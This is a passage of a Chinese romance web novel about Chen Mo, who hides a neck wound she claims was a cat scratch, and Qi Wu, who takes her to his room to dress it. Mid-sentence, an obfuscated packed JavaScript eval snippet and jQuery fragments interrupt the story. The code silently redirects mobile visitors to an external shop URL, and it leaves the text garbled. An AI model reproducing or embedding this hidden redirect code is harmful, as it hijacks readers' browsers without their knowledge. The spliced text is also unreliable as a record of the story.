这个字,可以说是毫无可信度和杀伤力。
陈茉愣怔一刻,然后很快明媚一笑,双手托腮捧着脸颊摆出一朵花的造型,接着花朵往旁边轻轻一倒,眉眼俏皮,轻轻说:“我听到了,你在夸我长得好看。”
就是这么一个瞬间。祁雾觉得,之前那个[不讲道理]又总是让人[拿她没有办法]的陈茉又回来了。
他很开心。只是转念一想,也许陈茉其实一直都是这样。
臭屁、骄傲、自恋、深沉、郁闷、冷淡……这些不过都是她某个瞬间的情绪存在,同样,喜欢胡说八道、胡搅蛮缠,偶尔看起来又跟人很疏远,这些也一样是她。
不是哪个消失了,又或者哪个回来了。
而是这一千一万面,全都是她。
陈茉是复杂的,难懂的。
如果一定要定义,祁雾想,她是一阵疾风骤雨。
疾风突然而至,骤雨瞬息万变。
祁雾笑笑,低头继续忙自己手上的活儿了,没再说话。
一直到陈茉这天从店里离开,他都没有否认她刚才说的那句话,他在夸她长得好看。
陈茉是好看的。
祁雾第一次见到她的时候,就觉得她好看。
只不过那时候,他更多是觉得她是一个好看的疯子。
而现在,陈茉偶尔也疯,只是祁雾却不知不觉间,发现她好像也没有那么烦人了。
人类啊,当真是全都复杂又善变。
店里人都走差不多,奶奶才端着菜出来喊他们吃饭。
祁雾拿碗,陈茉拿筷子,老人放下饭菜再直身的时候,俩孩子已经乖乖坐在了她对面。
“好香。”陈茉搓着筷子跃跃欲试,嘴上还不忘抹了蜜地称赞:“奶奶的手艺真是越来越好了。”
“那我就不客气喽。”
陈茉说着,结果第一筷子却越过了眼前的热菜,直接伸向奶奶那边放着腌菜。
老人发现的及时,顺手将小碟推到旁边。陈茉的筷子就这样落了个空。
陈茉正疑惑着,奶奶先给她碗里夹了块肉,解释说:“那个小菜太辣,你身上有伤,不能吃发物。”
停在半空的筷子轻轻一顿。
陈茉收回手,另只下意识抬起放在伤口处,转过头有些不好意思地摩挲着。
中午到现在,奶奶一直没问起她脖子上的伤口。
陈茉还以为,是她太忙了,没注意到。
原来,她是有观察到的。
她只是一直在等她自己开口说。
陈茉讪讪笑笑,再回过头时,脸上又换回了轻松的表情说:“没关系啦,昨晚不小心被流浪猫挠了下,很浅的,不碍事。”
说着她似乎又怕老人不信,于是故作夸张扭了半边身子过来,给她看自己胳膊,委屈撒娇:“你看,疫苗都打了。”
“可疼了。”陈茉配合着皱起眉头,好像她真的挨了一针似的瘪嘴:“打针可比被小猫挠一下疼多了。”
戏演到最后,陈茉自己都快信了。
奶奶也心疼地看着她,明显是已经被她这套说辞说服了。
只有祁雾,全程静静听她说完,眼神却不自觉深邃暗了下去。
关于陈茉脖子上那道伤,回来路上他已经问过了一次。
当时她的回答和现在一样,猫挠的。
祁雾当时没信,而且直到现在,他依旧不信。
陈茉越是努力解释,他便越是好奇,到底是什么样的伤口,才需要她这么大费周章地去掩饰。
祁雾性子跟奶奶有些相像。很多时候,他们都不喜欢主动追问别人的事情。除非他们主动跟自己开口,又或者,是自己实在忍不住的关心。
而这些[不由自主]的时刻,只会留给他们格外在意的人。
就像,陈茉没有主动跟奶奶提起自己的伤口,于是老人开始便就在等,直到一直等不到她的主动,最后终于还是决定不等了。
她不说,那就由她来主动提起。
祁雾也同样如此。
只不过他比奶奶更了解陈茉,知道她不想说的事,无论其他人怎么问,她都总有办法胡说八道、插科打诨地糊弄过去。
所以吃过饭,他便喊了陈茉上楼。
二楼还是跟她上次上来时一样,整体狭窄,光线昏暗。
祁雾开了灯,在自己房间里等她。
房门就这样毫无防备的朝她大开着。
陈茉站在外面,有些意外,又忍不住打趣:“祁雾,你有没有听过一个词叫[引狼入室]。”
祁雾站在房间里,一个陈茉看不到的角度,然后淡着声音回她:“我知道[羊入虎口]。”
开玩笑都是一本正经的语气。
陈茉听笑了,但是紧接着,她这只羊还是乖乖进去了。
这是她第一次进祁雾的房间。
跟她想象中的简约单调风格不一样,恰恰相反,卧室空间虽然不大,但却布置得很温馨。
一张木床,蓝格枕被叠放得整整齐齐。
床边一张带柜橱的书桌,除了辅导书,还有一整排的漫画。
原来,还是个[热血中二少年]。
靠客厅的这面墙上挂着一把吉他,看起来,像是用过很多次的那种。
陈茉就这样毫不避讳地环视一圈,然后啧啧点头:“还以为,你就是个只会赚钱的财迷呢。”
祁雾背对她,从床下拉出个收纳箱,又从里面翻找出来个小药箱放在床上,人也坐下,笑了下抬眸看她:“这么想损我两句的话,怎么不直接说我是个只会做饭的厨子。”
“你可不要小瞧厨子,厨子是这个世界上最重要的存在了。”陈茉严肃肯定,“尤其是做饭好吃的厨子,稀缺资源。”
祁雾又笑了。
他今天看起来似乎心情很好。
虽然,陈茉也不知道为什么。
“过来。”祁雾拍了拍床。
“啊?”陈茉眼神狐疑,作势准备随时后退:“干嘛,男女授受不亲的。”
少女眼神一转,故作为难说:“孤男寡女坐一张床上,不太好吧。”
祁雾又一次笑了,只不过这次是被她气得。
卧室空间小,加上祁雾个子高,胳膊也长。
所以他几乎没有起身,只是手臂随着身子往前一伸,轻易便抓住了她的手腕,顺势将她拉到了自己的身边。
整个过程快到陈茉完全没有反应过来,更不用说反抗了。
祁雾坐着,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17922341|210501||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
站着。
两人这样完全错位地对视一眼。
祁雾又趁她走神,直接一个用力拉她坐在了床上。
“挡到光了。”他说。
陈茉有些紧张,确切说是非常紧张。
虽然之前她总爱在他面前装出一副混不吝的女流氓样子,但说到底,她没真的做过哪些出格的事。
两个人坐得算不上多近,只是这房间太小,而且又是卧室。
陈茉不自觉就给这间屋子脑补出了一片暧昧氛围。
于是,她便只能愈发用力挺直肩背,以示自己一身正气凛然,对旁边的人没有任何非分之想。可是在她没注意的地方,脸颊已经开始微微泛红,攥着床沿的手指也越来越用力。
祁雾余光看着她这些自以为无人察觉的细微变化,嘴角也忍不住起了笑意。
“脸转过来。”
“啊?”
嘴上诧异,身体却一直在很诚实地配合。
陈茉侧脸看到他突然凑近的眼睛那一瞬间,突然就确定了书上写的那些话都是真的。
人在猝不及防对视上一双漂亮的眼睛时,心跳是会因为太过剧烈而骤止的。
“别动。”祁雾说。
他不知道,陈茉早就已经紧张到呼吸都忘记了,根本动不了一点。
再然后,她就只能这样浑身僵硬的,只剩眼帘在微微转动,看着他慢慢捧起自己的脸,又轻轻往右边转了一点。
动作唐突,却又极其克制着,没有失了分寸。
少年仅是用手指拖住她的下颌,然后目光引导着她跟着自己一起转动。
可陈茉还是清晰感受到了他手指尖那层薄薄的茧,以及冰凉的血液温度,一下就将她的脸颊烧了个彻底通红。
只是这一切,祁雾似乎完全没有感受到一样。
甚至,当他侧头,身体再一次随着手上动作向她靠近时,那轻到微乎不计的呼吸,还无意间落在了她脖间本就因为受伤而更敏感的皮肤上。
陈茉不争气地,下意识抖了下。
祁雾单手绕过去拖住她的后脑勺,另只手终于落在了她脖间的纱布上。
“别躲。”祁雾小心翼翼撕开她的伤口,轻声提醒说:“会疼。”
疼啊,当然疼了。
纱布完全撕下来,祁雾才看到里面那样长,那样深的一道伤口。
虽然早上已经做过处理,但因为没有足够的静止休息,加上后来一段拼命追逃,伤口看起来还是跟刚划破的状态一样。
皮肉之间,鲜红赤白的一道伤口,只看一眼就忍不住让人跟着一起感到很疼。
祁雾目光过于直白,以至于即便陈茉没有看他,但还是感觉到了伤口被他的视线盯得一阵灼热感。
“怎么了。”陈茉声音很小,还带有蝴蝶振翅一般的轻颤。
陈茉别着头,一直没敢将视线收回来,她顿了会儿,又终于鼓起勇气说:“很丑吗?”
祁雾没说话。
终于,她还是慢慢把头转了回来,抬手轻轻挡住伤口,继续问:“是不是真的很丑。”
祁雾没有回答她,只是握住她的手从伤口前拿开,目光逐渐上移,看着她问:“陈茉莉,这就是你说的,被猫挠了一下吗。”